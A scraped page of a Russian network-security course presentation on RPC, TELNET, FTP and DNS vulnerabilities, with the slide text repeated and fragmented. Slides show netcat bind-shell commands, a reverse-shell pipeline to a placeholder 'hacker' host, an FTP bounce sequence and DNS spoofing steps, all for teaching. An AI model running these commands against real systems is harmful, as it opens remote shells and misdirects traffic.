Что такое findslide.org?

FindSlide.org - это сайт презентаций, докладов, шаблонов в формате PowerPoint.

Для правообладателей

Обратная связь

Email: Нажмите что бы посмотреть

Презентация на тему Протоколы прикладного уровня

Содержание

2. КлиентСерверПротокол обменаTELNETFTPHTTPРеализация служб прикладного уровняУровень сетевого взаимодействия
3. Удалённый вызов процедурКанальный уровеньФизический уровеньСетевой уровеньТранспортный уровеньУровеньсоединенияУровеньпредставленияУровеньприложения7654321Ethernet, FDDI, X.25и другиеСетевой уровеньIPTCP, UDPRPC
4. КлиентСервер RPCПротокол RPCСпецификация RPC-сервера Номер программы Номер процедуры Номер версии
5. КлиентСервер RPCЗапрос клиентаСпецификация RPC-сервера Номер программы Номер процедуры Номер версииНомер порта
6. КлиентСервер RPCНомер процедурыRPC-сканированиеНомер портаПримеры утилит для RPC-сканирования RPCScan (Linux) rpcdump (Windows)
7. Клиент(утилита telnet)Сервер(telnetd)Протокол обменаTELNETПротокол удалённого терминала - TELNET
8. Взаимодействие«терминал-удалённый процесс»Терминал – Серверный процесс$aaaa
9. Команды протокола TELNETУправляющий символ IACКомандаПараметрыInterpret as Command, равен 255Например, клавиша Backspace, 2471 байт1 байт1 байт
10. Команды протокола TELNETНазвание командыКодОписание командыIP (Interrupt Process)
11. Передача команд$aIAC ECBackspace$
12. Клиент(утилита telnet)Сервер(telnetd)Передача имени и пароля в открытом видеУязвимости протокола TELNET
13. Изменение переменных окружения до аутентификацииУязвимости протокола TELNETКлиент(утилита telnet)Сервер(telnetd)
14. Что такое Netcat?Netcat - это утилита, которая
15. Netcat и Telnet - клиентTelnet - клиент
16. Режимы работы NetcatРежим исходящих соединенийРежим ожидания входящих соединенийСлушающий портnc [-опции] порт[ы]nc –l –p [-опции] [узел] [порт]
17. Варианты использования NetcatПодключение к слушающему порту на
18. Варианты использования NetcatОткрытие порта и подключение оболочки
19. «Обращённый» TELNETЭто управление узлом через соединение, инициируемое с него самого
20. «Обращённый» TELNET8025> telnet hacker 80 | /bin/bash | telnet hacker 25/bin/bashКомандыРезультаты
21. Практическая работа 18Утилита Netcat «Обращённый» TELNET
22. КлиентСерверКомандыОтветыРеализация службы FTPИнтерфейс пользователяМодуль управленияпередачейМодуль передачи данныхДанныеМодуль управленияпередачейМодуль передачи данных
23. Пассивный вариант работы FTPКлиентСервер (ftpd)команда PASVОтвет с параметрами (номер порта для подключения)Открытие соединенияна указанный порт
24. Предсказуемый номер портаКлиентСервер (ftpd)команда PASVОтвет с параметрами (номер порта для подключения)Открытие соединенияна указанный портПодключение раньше клиента
25. Открытие большого количества портовСервер (ftpd)команда PASVОтвет с
26. Передача данных между двумя FTP-серверамиСервер (ftpd)Сервер (ftpd)Передача большогоколичества данныхУправляющее соединение
27. Атаки на сетевые службы при помощи FTPСервер FTPПочтовый серверПодключение с FTP-сервераPORT 20,1,1,1,0,25RETR 20.1.1.125
28. telnet www.microsoft.comResolverwww.microsoft.com - ?100.0.0.6DNS ServerDNS - служба
29. Домены и поддомены« »orgeducomcompanysalebuhgRootNameServercompany.comName Serversale.company.comName Server
30. Записи Resource Recordmain.sale.company.com. IN
31. Разрешение имёнResolvermain.sale.company.com - ?main.sale.company.com - ?main.sale.company.com - ?main.sale.company.com - ?com Name ServerRoot Servercompany.com NSsale.company.com NS
32. Применение транспортного протокола без установления соединения (UDP)Отсутствие идентификации и аутентификацииОтсутствие средств разграничения доступаУязвимости службы DNS
33. Пример атаки на IP - сеть: Атака
34. Схема работы DNS - протокола DNS-серверХост АIP
35. DNS-серверХост АIDИмя компьютераSourcePortDNS-запросХост А посылает DNS -
36. DNS-серверХост АDNS-запросНарушитель извлекает из запроса ID и
37. Хост АУзел сетиТеперь путь пакета от хоста
38. Пример атаки на IP - сеть: Атака
39. DNS-серверХост АIDIP - адрес DestPortЛожные DNS -
40. DNS-серверХост АЛожные DNS - ответыПример атаки на IP - сеть: Атака на DNS (вариант 2)
41. Хост АУзел сетиТеперь путь пакета от хоста
42. DNS-сервер193.233.70.129 ertr.mpei.ac.ru..Кэш - таблицаDNS-серверследующего уровняDNS-запросDNS-ответ194.154.77.109
43. DNS-сервер193.233.70.129 ertr.mpei.ac.ru..Кэш - таблицаDNS-серверследующего уровняDNS-запрос194.154.77.123
44. DNS-сервер193.233.70.129 ertr.mpei.ac.ru..Кэш - таблица194.154.77.123
45. DNS в корпоративной сетиВнешний узелВторичныйсерверВнутренний узелПервичный серверРепликацияРекурсивный запросРекурсивныезапросыИтеративныезапросыDNSDNS
46. DNS в корпоративной сетиДоступ узлов корпоративной сети
47. Двухсерверная конфигурацияВнешний узелВторичныйсерверВнутренний узелПервичный сервер(минимальнаяверсия)РепликацияРекурсивный запросРекурсивныйзапросИтеративныезапросыМежсетевойэкранПервичный сервер(полнаяверсия)DNSDNSDNS
48. Трехсерверная конфигурацияВнешний узелВторичныйсервер (минимальная версия)Внутреннийузел (с Internet)Первичный сервер(минимальнаяверсия)РепликацияРекурсивный запросРекурсивныйзапросИтеративныезапросыМежсетевойэкранПервичный сервер(полнаяверсия+корень)DNSDNSDNSDNSВторичный сервер(полнаяверсия)Внутреннийузел (без Internet)
49. Трёхсерверная конфигурацияПервичный сервер(минимальнаяверсия)МежсетевойэкранПервичныйсервер(полнаяверсия)+кореньDNSDNSDNSВторичныйсервер(полнаяверсия)Internet
50. Протокол DNSSecМеханизм распределения открытых ключейЦелостность и аутентичность информации DNSАутентификация транзакции
51. Новые записи Resource Recordmain.sale.company.com. IN
52. Обычный DNS-запросqname=main.sale.company.comqtype=Amain.sale.company.com A
53. Запрос DNSSecqname=main.sale.company.comqtype=AВопросmain.sale.company.com A
54. Практическая работа 19Просмотр и запись сессий TELNET
55. Скачать презентацию
56. Похожие презентации

КлиентСерверПротокол обменаTELNETFTPHTTPРеализация служб прикладного уровняУровень сетевого взаимодействия

Главная
Информатика
Протоколы прикладного уровня

Протоколы прикладного уровняРаздел 2 – Тема 15

КлиентСерверПротокол обменаTELNETFTPHTTPРеализация служб прикладного уровняУровень сетевого взаимодействия

Удалённый вызов процедурКанальный уровеньФизический уровеньСетевой уровеньТранспортный уровеньУровеньсоединенияУровеньпредставленияУровеньприложения7654321Ethernet, FDDI, X.25и другиеСетевой уровеньIPTCP, UDPRPC

КлиентСервер RPCПротокол RPCСпецификация RPC-сервера Номер программы Номер процедуры Номер версии

КлиентСервер RPCЗапрос клиентаСпецификация RPC-сервера Номер программы Номер процедуры Номер версииНомер порта

КлиентСервер RPCНомер процедурыRPC-сканированиеНомер портаПримеры утилит для RPC-сканирования RPCScan (Linux) rpcdump (Windows)

Клиент(утилита telnet)Сервер(telnetd)Протокол обменаTELNETПротокол удалённого терминала - TELNET

Взаимодействие«терминал-удалённый процесс»Терминал – Серверный процесс$aaaa

Команды протокола TELNETУправляющий символ IACКомандаПараметрыInterpret as Command, равен 255Например, клавиша Backspace, 2471 байт1 байт1 байт

Команды протокола TELNETНазвание командыКодОписание командыIP (Interrupt Process) 244Прерывание процессапользователяAO (Abort Output) 245Остановка

Клиент(утилита telnet)Сервер(telnetd)Передача имени и пароля в открытом видеУязвимости протокола TELNET

Изменение переменных окружения до аутентификацииУязвимости протокола TELNETКлиент(утилита telnet)Сервер(telnetd)

Что такое Netcat?Netcat - это утилита, которая позволяет читать и записывать данные

Netcat и Telnet - клиентTelnet - клиент имеет ограничения, преодолеть которые поможет

Режимы работы NetcatРежим исходящих соединенийРежим ожидания входящих соединенийСлушающий портnc [-опции] порт[ы]nc –l –p [-опции] [узел] [порт]

Варианты использования NetcatПодключение к слушающему порту на удаленном узлеПодключение с явным указанием

Варианты использования NetcatОткрытие порта и подключение оболочки к немуnc –e /bin/bash nc

«Обращённый» TELNETЭто управление узлом через соединение, инициируемое с него самого

«Обращённый» TELNET8025> telnet hacker 80 | /bin/bash | telnet hacker 25/bin/bashКомандыРезультаты

Практическая работа 18Утилита Netcat «Обращённый» TELNET

КлиентСерверКомандыОтветыРеализация службы FTPИнтерфейс пользователяМодуль управленияпередачейМодуль передачи данныхДанныеМодуль управленияпередачейМодуль передачи данных

Пассивный вариант работы FTPКлиентСервер (ftpd)команда PASVОтвет с параметрами (номер порта для подключения)Открытие соединенияна указанный порт

Предсказуемый номер портаКлиентСервер (ftpd)команда PASVОтвет с параметрами (номер порта для подключения)Открытие соединенияна указанный портПодключение раньше клиента

Открытие большого количества портовСервер (ftpd)команда PASVОтвет с параметрами (номер порта для подключения)команда

Передача данных между двумя FTP-серверамиСервер (ftpd)Сервер (ftpd)Передача большогоколичества данныхУправляющее соединение

Атаки на сетевые службы при помощи FTPСервер FTPПочтовый серверПодключение с FTP-сервераPORT 20,1,1,1,0,25RETR 20.1.1.125

telnet www.microsoft.comResolverwww.microsoft.com - ?100.0.0.6DNS ServerDNS - служба

Домены и поддомены« »orgeducomcompanysalebuhgRootNameServercompany.comName Serversale.company.comName Server

Записи Resource Recordmain.sale.company.com. IN A 100.0.0.120salesale.company.comName Serversale.company.com.

Разрешение имёнResolvermain.sale.company.com - ?main.sale.company.com - ?main.sale.company.com - ?main.sale.company.com - ?com Name ServerRoot Servercompany.com NSsale.company.com NS

Применение транспортного протокола без установления соединения (UDP)Отсутствие идентификации и аутентификацииОтсутствие средств разграничения доступаУязвимости службы DNS

Пример атаки на IP - сеть: Атака на DNSНарушение нормального функционирования объекта

Схема работы DNS - протокола DNS-серверХост АIP - адрес IDИмя компьютераSourcePortDNS-запросDNS-ответID -

DNS-серверХост АIDИмя компьютераSourcePortDNS-запросХост А посылает DNS - запрос Нарушитель должен находиться в

DNS-серверХост АDNS-запросНарушитель извлекает из запроса ID и SourcePortЛожный DNS - ответ:от имени

Хост АУзел сетиТеперь путь пакета от хоста А до узла сетибудет лежать

Пример атаки на IP - сеть: Атака на DNS (вариант 2)Нарушение нормального

DNS-серверХост АIDIP - адрес DestPortЛожные DNS - ответыПереборПример атаки на IP -

DNS-серверХост АЛожные DNS - ответыПример атаки на IP - сеть: Атака на DNS (вариант 2)

DNS-сервер193.233.70.129 ertr.mpei.ac.ru..Кэш - таблицаDNS-серверследующего уровняDNS-запросDNS-ответ194.154.77.109 www.infosec.ruПример атаки на

DNS-сервер193.233.70.129 ertr.mpei.ac.ru..Кэш - таблицаDNS-серверследующего уровняDNS-запрос194.154.77.123 www.infosec.ruЛожные DNS -

DNS-сервер193.233.70.129 ertr.mpei.ac.ru..Кэш - таблица194.154.77.123 www.infosec.ruХост А194.154.77.123www.infosec.ruDNS-запросDNS-ответПример атаки на

DNS в корпоративной сетиВнешний узелВторичныйсерверВнутренний узелПервичный серверРепликацияРекурсивный запросРекурсивныезапросыИтеративныезапросыDNSDNS

DNS в корпоративной сетиДоступ узлов корпоративной сети к полной информации о внутренних

Двухсерверная конфигурацияВнешний узелВторичныйсерверВнутренний узелПервичный сервер(минимальнаяверсия)РепликацияРекурсивный запросРекурсивныйзапросИтеративныезапросыМежсетевойэкранПервичный сервер(полнаяверсия)DNSDNSDNS

Трехсерверная конфигурацияВнешний узелВторичныйсервер (минимальная версия)Внутреннийузел (с Internet)Первичный сервер(минимальнаяверсия)РепликацияРекурсивный запросРекурсивныйзапросИтеративныезапросыМежсетевойэкранПервичный сервер(полнаяверсия+корень)DNSDNSDNSDNSВторичный сервер(полнаяверсия)Внутреннийузел (без Internet)

Трёхсерверная конфигурацияПервичный сервер(минимальнаяверсия)МежсетевойэкранПервичныйсервер(полнаяверсия)+кореньDNSDNSDNSВторичныйсервер(полнаяверсия)Internet

Протокол DNSSecМеханизм распределения открытых ключейЦелостность и аутентичность информации DNSАутентификация транзакции

Новые записи Resource Recordmain.sale.company.com. IN A 100.0.0.120sale.company.com.

Обычный DNS-запросqname=main.sale.company.comqtype=Amain.sale.company.com A 100.0.0.120Владелецsale.company.com

Запрос DNSSecqname=main.sale.company.comqtype=AВопросmain.sale.company.com A ?main.sale.company.com

Практическая работа 19Просмотр и запись сессий TELNET и FTP при помощи RealSecureНастройка

Раздел 2 – Итоги Модель OSI. Архитектура TCP/IP. Сетевые анализаторы. Программа

Слайды презентации

Слайд 2 Клиент
Сервер
Протокол обмена
TELNET
FTP
HTTP
Реализация служб прикладного уровня
Уровень сетевого взаимодействия

Слайд 3 Удалённый вызов процедур
Канальный
уровень
Физический
уровень
Сетевой
уровень
Транспортный
уровень
Уровень
соединения
Уровень
представления
Уровень
приложения
7
6
5
4
3
2
1
Ethernet, FDDI,

X.25
и другие
Сетевой
уровень
IP
TCP, UDP
RPC

Слайд 4 Клиент
Сервер RPC
Протокол RPC
Спецификация RPC-сервера
Номер программы
Номер процедуры

Номер версии

Слайд 5 Клиент
Сервер RPC
Запрос клиента
Спецификация RPC-сервера
Номер программы
Номер процедуры

Номер версии
Номер порта

Слайд 6 Клиент
Сервер RPC
Номер процедуры
RPC-сканирование
Номер порта
Примеры утилит для RPC-сканирования
RPCScan

(Linux)
rpcdump (Windows)

Слайд 7 Клиент
(утилита telnet)
Сервер
(telnetd)
Протокол обмена
TELNET
Протокол удалённого терминала - TELNET

Слайд 8 Взаимодействие
«терминал-удалённый процесс»
Терминал – Серверный процесс
$a
a
a
a

Слайд 9 Команды протокола TELNET
Управляющий символ IAC
Команда
Параметры
Interpret as Command, равен

255
Например, клавиша Backspace, 247
1 байт
1 байт
1 байт

Слайд 10 Команды протокола TELNET
Название команды
Код
Описание команды
IP (Interrupt Process)
244
Прерывание

Команды протокола TELNETНазвание командыКодОписание командыIP (Interrupt Process) 244Прерывание процессапользователяAO (Abort Output)

процесса
пользователя
AO (Abort Output)
245
Остановка вывода
на дисплей
AYT (Are You There)

246

Проверка состояния системы

EC (Erase Character)

247

Удаление последнего введённого символа

EL (Erase Line)

248

Удаление текущей строки

Слайд 11 Передача команд
$a
IAC EC
Backspace
$

Слайд 12 Клиент
(утилита telnet)
Сервер
(telnetd)
Передача имени и пароля в открытом виде
Уязвимости

протокола TELNET

Слайд 13 Изменение переменных окружения до аутентификации
Уязвимости протокола TELNET
Клиент
(утилита telnet)
Сервер
(telnetd)

Слайд 14 Что такое Netcat?
Netcat - это утилита, которая позволяет

Что такое Netcat?Netcat - это утилита, которая позволяет читать и записывать

читать и записывать данные по сети с использованием протоколов

TCP или UDP. Возможности netcat :
Работа с входящими и исходящими TCP или UDP соединениями, использующими любые порты
Выполнение DNS запросов различных типов
Возможность задания порта источника
Возможность использования любого адреса источника (из локально сконфигурированных)
Возможности по сканированию портов
Работа в качестве telnet-сервера

Слайд 15 Netcat и Telnet - клиент
Telnet - клиент имеет

Netcat и Telnet - клиентTelnet - клиент имеет ограничения, преодолеть которые

ограничения, преодолеть которые поможет Netcat. Например:
Ограничения стандартного потока

ввода
Посылка сообщений об ошибках в стандартный поток вывода, вместе с данными
Невозможность посылки двоичных данных
Невозможность находиться в состоянии ожидания соединения
Невозможность работы с UDP

Слайд 16 Режимы работы Netcat
Режим исходящих соединений
Режим ожидания входящих соединений
Слушающий

порт
nc [-опции] порт[ы]
nc –l –p [-опции]

[узел] [порт]

Слайд 17 Варианты использования Netcat
Подключение к слушающему порту на удаленном

Варианты использования NetcatПодключение к слушающему порту на удаленном узлеПодключение с явным

узле
Подключение с явным указанием порта источника
nc 200.2.2.222 80
nc –p

53 200.2.2.222 80

200.2.2.222

Слайд 18 Варианты использования Netcat
Открытие порта и подключение оболочки к

нему
nc –e /bin/bash
nc –e cmd.exe

порт>

Вариант для Linux

Вариант для Windows

Слайд 19 «Обращённый» TELNET
Это управление узлом через соединение, инициируемое с

него самого

Слайд 20 «Обращённый» TELNET
80
25
> telnet hacker 80
| /bin/bash |

telnet hacker 25
/bin/bash
Команды
Результаты

Слайд 21 Практическая работа 18
Утилита Netcat
«Обращённый» TELNET

Слайд 22 Клиент
Сервер
Команды
Ответы
Реализация службы FTP
Интерфейс

пользователя
Модуль
управления
передачей
Модуль
передачи
данных
Данные
Модуль
управления
передачей
Модуль

передачи
данных

Слайд 23 Пассивный вариант работы FTP
Клиент
Сервер (ftpd)
команда PASV
Ответ с параметрами

(номер порта для подключения)
Открытие соединения

на указанный порт

Слайд 24 Предсказуемый номер порта
Клиент
Сервер (ftpd)
команда PASV
Ответ с параметрами

(номер

порта для подключения)
Открытие соединения

на указанный порт
Подключение раньше клиента

Слайд 25 Открытие большого количества портов
Сервер (ftpd)
команда PASV
Ответ с параметрами

Открытие большого количества портовСервер (ftpd)команда PASVОтвет с параметрами (номер порта для

(номер порта для подключения)
команда PASV
Ответ с параметрами

(номер порта

для подключения)

команда PASV

Ответ с параметрами

(номер порта для подключения)

Слайд 26 Передача данных между двумя FTP-серверами
Сервер (ftpd)
Сервер (ftpd)
Передача большого

количества

данных
Управляющее соединение

Слайд 27 Атаки на сетевые службы при помощи FTP
Сервер FTP
Почтовый

сервер
Подключение с FTP-сервера
PORT 20,1,1,1,0,25
RETR
20.1.1.1
25

Слайд 28 telnet www.microsoft.com
Resolver
www.microsoft.com - ?
100.0.0.6
DNS Server
DNS - служба

Слайд 29 Домены и поддомены
« »
org
edu
com
company
sale
buhg
Root
Name
Server
company.com
Name Server
sale.company.com
Name Server

Слайд 30 Записи Resource Record
main.sale.company.com. IN A

100.0.0.120

sale
sale.company.com
Name Server
sale.company.com. IN NS

ns.sale.company.com

Слайд 31 Разрешение имён
R
e
s
o
l
v
e
r
main.sale.company.com - ?
main.sale.company.com - ?
main.sale.company.com - ?
main.sale.company.com

- ?
com Name Server
Root Server
company.com NS
sale.company.com NS

Слайд 32 Применение транспортного протокола
без установления соединения (UDP)
Отсутствие идентификации

и аутентификации
Отсутствие средств разграничения доступа
Уязвимости службы DNS

Слайд 33 Пример атаки на IP - сеть:
Атака на

Пример атаки на IP - сеть: Атака на DNSНарушение нормального функционирования

DNS
Нарушение нормального функционирования объекта атаки
Местонахождение атакующего
В одном сегменте с

объектом атаки

Используемые уязвимости

Цель

Слабая защищённость протокола DNS -
- недостаток проектирования

Степень риска

Высокая

Нарушение навигации (ложный маршрут)

Механизм реализации

Слайд 34 Схема работы DNS - протокола
DNS-сервер
Хост А
IP -

адрес
ID
Имя компьютера
SourcePort
DNS-запрос
DNS-ответ
ID - генерируется приложением, пославшим запрос,
обычно=1
SourcePort вначале

принимает значение 1024
а потом увеличивается

Пример атаки на IP - сеть:
Атака на DNS

Слайд 35 DNS-сервер
Хост А
ID
Имя компьютера
SourcePort
DNS-запрос
Хост А посылает DNS - запрос

DNS-серверХост АIDИмя компьютераSourcePortDNS-запросХост А посылает DNS - запрос Нарушитель должен находиться

Нарушитель должен находиться в одной
подсети с А или

в одной подсети с
DNS - сервером

Это позволит ему перехватить пакет
с запросом

Пример атаки на IP - сеть:
Атака на DNS

Слайд 36 DNS-сервер
Хост А
DNS-запрос
Нарушитель извлекает из запроса ID и SourcePort
Ложный

DNS-серверХост АDNS-запросНарушитель извлекает из запроса ID и SourcePortЛожный DNS - ответ:от

DNS - ответ:
от имени настоящего DNS - сервера,
но в

качестве IP - адреса искомого узла
указывается IP - адрес нарушителя

Результат: хост А имеет неправильное соответствие
между именем компьютера и IP - адресом

Пример атаки на IP - сеть:
Атака на DNS

Слайд 37 Хост А
Узел сети
Теперь путь пакета от хоста А

Хост АУзел сетиТеперь путь пакета от хоста А до узла сетибудет

до узла сети
будет лежать через хост нарушителя
Пример атаки на

IP - сеть:
Атака на DNS

Слайд 38 Пример атаки на IP - сеть:
Атака на

DNS (вариант 2)
Нарушение нормального функционирования объекта атаки
Местонахождение атакующего
В разных

сегментах с объектом атаки

Используемые уязвимости

Цель

Слабая защищённость протокола DNS -
- недостаток проектирования

Степень риска

Высокая

Нарушение навигации (ложный маршрут)

Механизм реализации

Слайд 39 DNS-сервер
Хост А
ID
IP - адрес
DestPort
Ложные DNS - ответы
Перебор
Пример

атаки на IP - сеть:
Атака на DNS (вариант

Слайд 40 DNS-сервер
Хост А
Ложные DNS - ответы
Пример атаки на IP

- сеть:
Атака на DNS (вариант 2)

Слайд 41 Хост А
Узел сети
Теперь путь пакета от хоста А

до узла сети
будет лежать через хост нарушителя
Пример атаки на

IP - сеть:
Атака на DNS (вариант 2)

Слайд 42 DNS-сервер
193.233.70.129 ertr.mpei.ac.ru
.
.
Кэш - таблица
DNS-сервер
следующего уровня
DNS-запрос
DNS-ответ
194.154.77.109

www.infosec.ru
Пример атаки на IP - сеть:
Атака на

DNS (вариант 3)

Слайд 43 DNS-сервер
193.233.70.129 ertr.mpei.ac.ru
.
.
Кэш - таблица
DNS-сервер
следующего уровня
DNS-запрос
194.154.77.123

DNS-сервер193.233.70.129 ertr.mpei.ac.ru..Кэш - таблицаDNS-серверследующего уровняDNS-запрос194.154.77.123 www.infosec.ruЛожные DNS - ответыПример

www.infosec.ru
Ложные DNS - ответы
Пример атаки на IP -

сеть:
Атака на DNS (вариант 3)

Слайд 44 DNS-сервер
193.233.70.129 ertr.mpei.ac.ru
.
.
Кэш - таблица
194.154.77.123

www.infosec.ru
Хост А
194.154.77.123
www.infosec.ru
DNS-запрос
DNS-ответ
Пример атаки на IP - сеть:
Атака на

DNS (вариант 3)

Слайд 45 DNS в корпоративной сети
Внешний узел
Вторичный
сервер
Внутренний
узел
Первичный

сервер
Репликация
Рекурсивный запрос
Рекурсивные
запросы
Итеративные
запросы
DNS
DNS

Слайд 46 DNS в корпоративной сети
Доступ узлов корпоративной сети к

DNS в корпоративной сетиДоступ узлов корпоративной сети к полной информации о

полной
информации о внутренних именах
Доступ отдельных узлов корпоративной сети

к глобальному пространству имён Internet

Доступ внешних узлов к минимально необходимой
информации о внутренних именах

Слайд 47 Двухсерверная конфигурация
Внешний узел
Вторичный
сервер
Внутренний
узел
Первичный
сервер
(минимальная
версия)
Репликация
Рекурсивный запрос
Рекурсивный
запрос
Итеративные
запросы
Межсетевой
экран
Первичный

сервер
(полная
версия)
DNS
DNS
DNS

Слайд 48 Трехсерверная конфигурация
Внешний узел
Вторичный
сервер
(минимальная версия)
Внутренний
узел (с Internet)
Первичный
сервер
(минимальная
версия)
Репликация
Рекурсивный

запрос
Рекурсивный
запрос
Итеративные
запросы
Межсетевой
экран
Первичный
сервер
(полная
версия+корень)
DNS
DNS
DNS
DNS
Вторичный
сервер
(полная
версия)
Внутренний
узел (без Internet)

Слайд 49 Трёхсерверная конфигурация
Первичный
сервер
(минимальная
версия)
Межсетевой
экран
Первичный
сервер
(полная
версия)
+корень
DNS
DNS
DNS
Вторичный
сервер
(полная
версия)
Internet

Слайд 50 Протокол DNSSec
Механизм распределения открытых ключей
Целостность и аутентичность информации

DNS
Аутентификация транзакции

Слайд 51 Новые записи Resource Record
main.sale.company.com. IN

Новые записи Resource Recordmain.sale.company.com. IN A 100.0.0.120sale.company.com. IN

A 100.0.0.120

sale.company.com. IN NS

ns.sale.company.com

sale.company.com. IN KEY [ключ]

sale.company.com. IN SIG [подпись]

sale.company.com. IN NXT [домен]

Слайд 52 Обычный DNS-запрос
qname=main.sale.company.com
qtype=A
main.sale.company.com A

100.0.0.120

Владелец
sale.company.com NS

ns.sale.company.com

Дополнительно
ns.sale.company.com A 100.0.1.130

Запрос

Ответ

Слайд 53 Запрос DNSSec
qname=main.sale.company.com
qtype=A
Вопрос
main.sale.company.com A

?
main.sale.company.com A 100.0.0.120
main.sale.company.com

SIG [подпись]

Владелец
sale.company.com NS ns.sale.company.com
sale.company.com SIG [подпись]

Дополнительно
ns.sale.company.com A 100.0.1.130
ns.sale.company.com SIG [подпись]
sale.company.com KEY [ключ]
main.sale.company.com KEY [ключ]
ns.sale.company.com KEY [ключ]

Запрос

Ответ

Слайд 54 Практическая работа 19
Просмотр и запись сессий TELNET и

Практическая работа 19Просмотр и запись сессий TELNET и FTP при помощи

FTP при помощи RealSecure
Настройка пользовательских событий для RealSecure

- Предыдущая Оформление информационных стендов с учетом психологического восприятия

Следующая - Мир глазами субкультур

Измерение и кодирование информации 122

Форматирование текста 184

Организация и основные устройства память компьютера 102

Информационные модели таблиц 181

Презентация и технологическая карта к уроку Человек и информация 99

Организация учебно-исследовательской и проектной деятельности с обучающимися в условиях реализации ФГОС с применением ИКТ 125

Основные законы алгебры логики 151

Оглядово-аналітичний документ 183

Преобразование логических выражений 163

Компьютерные вирусы. Меры защиты от них. 199

Ашық сабақ: Роwer Point бағдарламасында кестелерді және суреттерді кірістіру(6 сынып) 183

Классификация информационных моделей 167

Компьютер и его части 100

Графика в Pascal 147

Редактирование и оформление текста 99

Компьютерные мыши 139

Выделение и трансформация объектов 131

Концепция курса информатики и ИКТ в 5-7 классах 156

Понятие о базовых сетях. Способы создания сетей 97

Применение статистических функций в среде MS Excel 144

Презентация по информатике Содание web- страниц 132

История первых ноутбуков 101

Программное обеспечение Неопределенность 1.5 135

КАНАЛ FASHION TV 144

Что такое findslide.org?

Обратная связь

Презентация на тему Протоколы прикладного уровня

Содержание

Слайд 2 КлиентСерверПротокол обменаTELNETFTPHTTPРеализация служб прикладного уровняУровень сетевого взаимодействия

X.25и другиеСетевой уровеньIPTCP, UDPRPC

Слайд 4 КлиентСервер RPCПротокол RPCСпецификация RPC-сервера Номер программы Номер процедуры

Номер версии

Слайд 5 КлиентСервер RPCЗапрос клиентаСпецификация RPC-сервера Номер программы Номер процедуры

Номер версииНомер порта

Слайд 6 КлиентСервер RPCНомер процедурыRPC-сканированиеНомер портаПримеры утилит для RPC-сканирования RPCScan

(Linux) rpcdump (Windows)

Слайд 7 Клиент(утилита telnet)Сервер(telnetd)Протокол обменаTELNETПротокол удалённого терминала - TELNET

Слайд 8 Взаимодействие«терминал-удалённый процесс»Терминал – Серверный процесс$aaaa

Слайд 9 Команды протокола TELNETУправляющий символ IACКомандаПараметрыInterpret as Command, равен

255Например, клавиша Backspace, 2471 байт1 байт1 байт

Слайд 10 Команды протокола TELNETНазвание командыКодОписание командыIP (Interrupt Process) 244Прерывание

процессапользователяAO (Abort Output) 245Остановка выводана дисплейAYT (Are You There)

Слайд 11 Передача команд$aIAC ECBackspace$

Слайд 12 Клиент(утилита telnet)Сервер(telnetd)Передача имени и пароля в открытом видеУязвимости

протокола TELNET

Слайд 13 Изменение переменных окружения до аутентификацииУязвимости протокола TELNETКлиент(утилита telnet)Сервер(telnetd)

Слайд 14 Что такое Netcat?Netcat - это утилита, которая позволяет

читать и записывать данные по сети с использованием протоколов

Слайд 15 Netcat и Telnet - клиентTelnet - клиент имеет

ограничения, преодолеть которые поможет Netcat. Например:Ограничения стандартного потока

Слайд 16 Режимы работы NetcatРежим исходящих соединенийРежим ожидания входящих соединенийСлушающий

портnc [-опции] порт[ы]nc –l –p [-опции]

Слайд 17 Варианты использования NetcatПодключение к слушающему порту на удаленном

узлеПодключение с явным указанием порта источникаnc 200.2.2.222 80nc –p

Слайд 18 Варианты использования NetcatОткрытие порта и подключение оболочки к

немуnc –e /bin/bash nc –e cmd.exe

Слайд 19 «Обращённый» TELNETЭто управление узлом через соединение, инициируемое с

него самого

Слайд 20 «Обращённый» TELNET8025> telnet hacker 80 | /bin/bash |

telnet hacker 25/bin/bashКомандыРезультаты

Слайд 21 Практическая работа 18Утилита Netcat «Обращённый» TELNET

передачи данных

Слайд 23 Пассивный вариант работы FTPКлиентСервер (ftpd)команда PASVОтвет с параметрами

(номер порта для подключения)Открытие соединенияна указанный порт

Слайд 24 Предсказуемый номер портаКлиентСервер (ftpd)команда PASVОтвет с параметрами (номер

порта для подключения)Открытие соединенияна указанный портПодключение раньше клиента

Слайд 25 Открытие большого количества портовСервер (ftpd)команда PASVОтвет с параметрами

(номер порта для подключения)команда PASVОтвет с параметрами (номер порта

Слайд 26 Передача данных между двумя FTP-серверамиСервер (ftpd)Сервер (ftpd)Передача большогоколичества

данныхУправляющее соединение

Слайд 27 Атаки на сетевые службы при помощи FTPСервер FTPПочтовый

серверПодключение с FTP-сервераPORT 20,1,1,1,0,25RETR 20.1.1.125

Слайд 28 telnet www.microsoft.comResolverwww.microsoft.com - ?100.0.0.6DNS ServerDNS - служба

Слайд 29 Домены и поддомены« »orgeducomcompanysalebuhgRootNameServercompany.comName Serversale.company.comName Server

Слайд 30 Записи Resource Recordmain.sale.company.com. IN A

100.0.0.120salesale.company.comName Serversale.company.com. IN NS

Слайд 31 Разрешение имёнResolvermain.sale.company.com - ?main.sale.company.com - ?main.sale.company.com - ?main.sale.company.com

- ?com Name ServerRoot Servercompany.com NSsale.company.com NS

Слайд 32 Применение транспортного протокола без установления соединения (UDP)Отсутствие идентификации

и аутентификацииОтсутствие средств разграничения доступаУязвимости службы DNS

Слайд 33 Пример атаки на IP - сеть: Атака на

DNSНарушение нормального функционирования объекта атакиМестонахождение атакующегоВ одном сегменте с

Слайд 34 Схема работы DNS - протокола DNS-серверХост АIP -

адрес IDИмя компьютераSourcePortDNS-запросDNS-ответID - генерируется приложением, пославшим запрос,обычно=1SourcePort вначале

Слайд 35 DNS-серверХост АIDИмя компьютераSourcePortDNS-запросХост А посылает DNS - запрос

Нарушитель должен находиться в одной подсети с А или

Слайд 36 DNS-серверХост АDNS-запросНарушитель извлекает из запроса ID и SourcePortЛожный

DNS - ответ:от имени настоящего DNS - сервера,но в

Слайд 37 Хост АУзел сетиТеперь путь пакета от хоста А

до узла сетибудет лежать через хост нарушителяПример атаки на

Слайд 38 Пример атаки на IP - сеть: Атака на

DNS (вариант 2)Нарушение нормального функционирования объекта атакиМестонахождение атакующегоВ разных

Слайд 39 DNS-серверХост АIDIP - адрес DestPortЛожные DNS - ответыПереборПример

атаки на IP - сеть: Атака на DNS (вариант

Слайд 40 DNS-серверХост АЛожные DNS - ответыПример атаки на IP

- сеть: Атака на DNS (вариант 2)

Слайд 41 Хост АУзел сетиТеперь путь пакета от хоста А

до узла сетибудет лежать через хост нарушителяПример атаки на

